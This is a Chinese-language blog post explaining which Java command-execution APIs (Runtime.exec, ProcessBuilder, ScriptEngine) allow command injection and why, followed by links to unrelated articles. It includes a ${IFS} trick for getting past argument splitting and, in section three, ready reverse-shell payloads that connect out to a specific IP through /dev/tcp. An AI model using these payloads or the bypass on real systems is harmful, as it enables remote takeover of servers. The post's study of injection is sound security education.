java中关于命令执行汇总

 更新时间:2023年11月13日 09:13:36   作者:Thunderclap_  
这篇文章主要介绍了java中关于命令执行汇总,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教

一、Java中可执行命令的API

java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
 
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()

命令执行漏洞只关注 第一个String参数 或者 String[]或列表的第一个元素

  • 如果该参数完全可控,或者是/bin/bash(Linux)或cmd(Windows)等运行shell解析器的命令、后面的部分可控,则可以注入。
  • 如果的哥参数是bat或者sh脚本文件,后面的参数可控,则需要根据脚本如何使用可控参数来判断是否可以注入。

其他API:

ScriptEngine接口:

可使用ScriptEngine.eval解析多种脚本,比如JavaScript,而JavaScript中可以执行java命令。

二、说明

java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接启动传入参数对应的进程。

以curl为例,php的system会启动系统shell,然后通过shell来启动curl进程,这个过程中,如果传入的命令带有shell能解析的语法,就会首先解析。

所以,如果只是命令执行的部分参数可控,想在java中通过;、|、&等实现命令注入,是行不通的。

当然不排除程序本身存在漏洞,只需传入参数即可造成漏洞。

1、ProcessBuilder

第一种情况:某个参数可控

new ProcessBuilder(new String[]{"ls", "-lh", dir};);

//不可执行。这种情况下因为不是只能执行ls命令,后面的均为ls的参数。

第二种情况:完全可控

只能执行一些没有参数的命令,因为ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,才能执行。

// String cmd = "xx";

ProcessBuilder builder = new ProcessBuilder(cmd);

Process process = builder.start();

//部分任意执行。这种情况可执行没有参数的命令,原因为这里 cmd 的值表示的是执行命令的文件路径,因此无法使用参数

第三种情况:shell环境下的某个参数可控

new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);

//不可任意执行。这种情况下,dir 传入 pwd 或 ;pwd 都无法执行,因为只有 echo test 会作为 -c 选项的参数值

new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};);

//可执行不带参数的命令。dir 参数用户可控,如果传入如 && pwd,则可以成功执行 pwd 命令

2、Runtime

Runtime的exec(String command)其内部调用了exec(String command, String[] envp, File dir),传入的字符串命令会先经过 StringTokenizer 进行处理,即使用分隔符,包括空格,\t\n\r\f 对字符串进行分隔后,再调用 exec(String[] cmdarray, String[] envp, File dir),最后是通过ProcessBuilder 来执行的。

第一种情况:

如果参数完全可控,则可以执行任意命令

Process process = runtime.exec("sh -c whoami");

第二种情况:

若没有手动创建 shell 执行命令,没有存在参数注入,则无法实现命令注入

Process process = runtime.exec("ping -c 1 " + ip);

//这种传入 127.0.0.1 | id,是无法正常执行的

第三种情况:

手动创建 shell 执行命令,可执行-c 的参数值的命令,但值内不能有空格、\t\n\r\f 分隔符,否则会被分割

// 相当于执行 sh -c curl,example.com 参数会被忽略

String cmd = "sh -c curl example.com";

// \t 也是分割符之一

String cmd = "sh -c curl\texample.com";

// 使用 ${IFS} (对应内部字段分隔符) 来代替空格,成功执行

String cmd = "sh -c curl${IFS}example.com";

三、在exec中反弹shell命令

方法一:

"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法二:

"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法三:

str = 命令写这里。

cmd = "sh -c $@ | sh . echo" + str

"Runtime.getRuntime().exec(cmd)"

总结

以上为个人经验,希望能给大家一个参考,也希望大家多多支持脚本之家。

相关文章

  • 配置javaw.exe双击运行jar包方式

    配置javaw.exe双击运行jar包方式

    这篇文章主要介绍了配置javaw.exe双击运行jar包方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2024-01-01
  • 我从jdk1.8升级到jdk11所遇到的坑都有这些

    我从jdk1.8升级到jdk11所遇到的坑都有这些

    这篇文章主要介绍了从jdk1.8升级到jdk11将会遇到的一些坑,本文给大家分享解决方案对大家的学习或工作具有参考借鉴价值,对jdk1.8升级到jdk11相关知识感兴趣的朋友,快来看看吧
    2021-08-08
  • idea报错:java程序包com.github.xiaoymin.knife4j.spring.annotations不存在问题解决

    idea报错:java程序包com.github.xiaoymin.knife4j.spring.annotations

    这篇文章主要介绍了idea报错:java程序包com.github.xiaoymin.knife4j.spring.annotations不存在问题解决,需要的朋友可以参考下
    2023-06-06
  • SpringBoot实现发送电子邮件

    SpringBoot实现发送电子邮件

    这篇文章主要介绍了SpringBoot实现发送电子邮件,电子邮件是—种用电子手段提供信息交换的通信方式,是互联网应用最广的服务。通过网络的电子邮件系统,用户可以非常快速的方式,与世界上任何一个角落的网络用户联系,下面就来看看SpringBoot如何实现发送电子邮件吧
    2022-01-01
  • 详解Java中CountDownLatch异步转同步工具类

    详解Java中CountDownLatch异步转同步工具类

    今天给大家带来的是关于Java的相关知识,文章围绕着CountDownLatch异步转同步工具类展开,文中有非常详细的介绍及代码示例,需要的朋友可以参考下
    2021-06-06
  • SpringBoot集成FTP与SFTP连接池流程

    SpringBoot集成FTP与SFTP连接池流程

    在项目开发中,一般文件存储很少再使用SFTP服务,但是也不排除合作伙伴使用SFTP来存储项目中的文件或者通过SFTP来实现文件数据的交互,这篇文章主要介绍了SpringBoot集成FTP与SFTP连接池
    2022-12-12
  • mybatis如何使用Map接收返回值

    mybatis如何使用Map接收返回值

    这篇文章主要介绍了mybatis如何使用Map接收返回值问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-12-12
  • SpringBoot 项目中创建线程池

    SpringBoot 项目中创建线程池

    这篇文章主要介绍了SpringBoot 项目中创建线程池,文章基于Spring Boot项目创建线程池ThreadPoolExecutor,需要的小伙伴可以参考一下
    2022-04-04
  • SpringCloud读取Nacos配置中心报错及遇到的坑:Could not resolve placeholder ‘xxx’ in value ‘${xxx}

    SpringCloud读取Nacos配置中心报错及遇到的坑:Could not resolve placehold

    这篇文章主要介绍了SpringCloud读取Nacos配置中心报错:Could not resolve placeholder ‘xxx’ in value ‘${xxx},本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2023-03-03
  • Java连接SQL Server数据库的超详细教程

    Java连接SQL Server数据库的超详细教程

    在Java应用程序中我们经常需要与数据库进行交互,一种常见的数据库是Microsoft SQL Server,下面这篇文章主要给大家介绍了关于Java连接SQL Server数据库的超详细教程,需要的朋友可以参考下
    2024-01-01

最新评论